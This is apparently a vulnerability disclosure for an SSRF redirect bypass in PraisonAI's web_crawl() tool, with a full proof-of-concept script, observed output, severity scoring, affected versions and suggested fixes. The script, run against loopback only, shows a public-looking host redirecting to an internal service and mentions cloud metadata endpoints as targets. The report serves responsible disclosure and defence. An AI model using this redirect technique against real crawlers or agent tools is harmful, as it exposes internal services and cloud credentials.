Summary

praisonaiagents.tools.web_crawl_tools.web_crawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(follow_redirects=True) and does not revalidate redirect targets.

An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by web_crawl().

This appears to be an incomplete fix / patch bypass for the published web_crawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported versions still appear affected.

Technical Details

Current web_crawl() validates only the initially supplied URL:

• requires http or https;
• resolves the initial hostname with socket.gethostbyname();
• rejects loopback/private/link-local/multicast/unspecified addresses unless ALLOW_LOCAL_CRAWL=true.

The default fetch sink then follows redirects:

with httpx.Client(follow_redirects=True, timeout=30.0) as client:
    response = client.get(url)

There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.

PoV

#!/usr/bin/env python3
"""PoV for PraisonAI web_crawl redirect-target SSRF bypass.

This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""

from __future__ import annotations

import http.server
import os
import socket
import socketserver
import threading
from typing import Any

from praisonaiagents.tools.web_crawl_tools import web_crawl

class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"INTERNAL-SECRET-FROM-LOOPBACK"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return

class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return

def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_gethostbyname = socket.gethostbyname
    original_getaddrinfo = socket.getaddrinfo

    def fake_gethostbyname(host: str) -> str:
        if host == "attacker.test":
            return "93.184.216.34"
        return original_gethostbyname(host)

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    socket.gethostbyname = fake_gethostbyname
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = web_crawl(
            f"http://127.0.0.1:{internal_port}/secret",
            provider="httpx",
        )
        redirect_result = web_crawl(
            f"http://attacker.test:{redirect_port}/go",
            provider="httpx",
        )
    finally:
        socket.gethostbyname = original_gethostbyname
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", bool(redirect.hit))  # type: ignore[attr-defined]
    print("INTERNAL_SERVER_HIT:", bool(internal.hit))  # type: ignore[attr-defined]

    if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict):
        raise SystemExit("bypass failed: unexpected result type")
    if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: redirect target content was not returned")
    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]
        raise SystemExit("bypass failed: expected local servers were not hit")

    print("poc CONFIRMED: web_crawl follows a redirect to loopback")
    return 0

if __name__ == "__main__":
    raise SystemExit(main())

PoC

The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.

Run from a checkout of the repository:

env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py

Observed output:

DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
poc CONFIRMED: web_crawl follows a redirect to loopback

The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.

I also tested the same setup with redirect following disabled. The redirector was hit, but the internal loopback service was not hit:

REDIRECT_HIT: True
INTERNAL_HIT: False

Impact

If an attacker can influence URLs passed to web_crawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the web_crawl() result.

Practical impact includes:

• reading loopback-only HTTP services;
• probing private network services;
• reading cloud metadata endpoints where reachable and not otherwise protected.

This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.

Severity

Suggested severity: High.

Suggested CVSS v4.0:

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:L/SA:N

Primary CWE: CWE-918 Server-Side Request Forgery.

This mirrors the CVSS v4.0 shape already used for the prior web_crawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.

Suggested Fix

• Set follow_redirects=False in _crawl_with_httpx(), or handle redirects manually and validate each Location target before following it.
• Centralize the URL validation used by server-side fetch tools.
• Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result.
• Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
• Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.

Affected Package/Versions

Package:

praisonaiagents

File:

src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py

Functions:

web_crawl()
_crawl_with_httpx()

Validated affected:

• praisonaiagents 1.5.128 via repository tag v4.5.128;
• praisonaiagents 1.6.40 via repository tag v4.6.40;
• praisonaiagents 1.6.56 via repository tag v4.6.56;
• current origin/main commit 095653d78a01cc6c80ff5b2dd20a8e5619686ddc.

Suggested affected range for maintainer confirmation:

>= 1.5.128, <= 1.6.56

No patched version is known at report time.

Advisory History

Checked visible PraisonAI advisories and prior submissions for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate is identified in this report text. Adjacent advisories, where relevant, are listed in References or discussed above.

References

• Prior web_crawl SSRF advisory: GHSA-qq9r-63f6-v542
• NVD for prior class: https://nvd.nist.gov/vuln/detail/CVE-2026-40160
• Older web_crawl advisory: https://osv.dev/vulnerability/GHSA-8f4v-xfm9-3244
• Sibling download_file() advisory: GHSA-44c2-3rw4-5gvh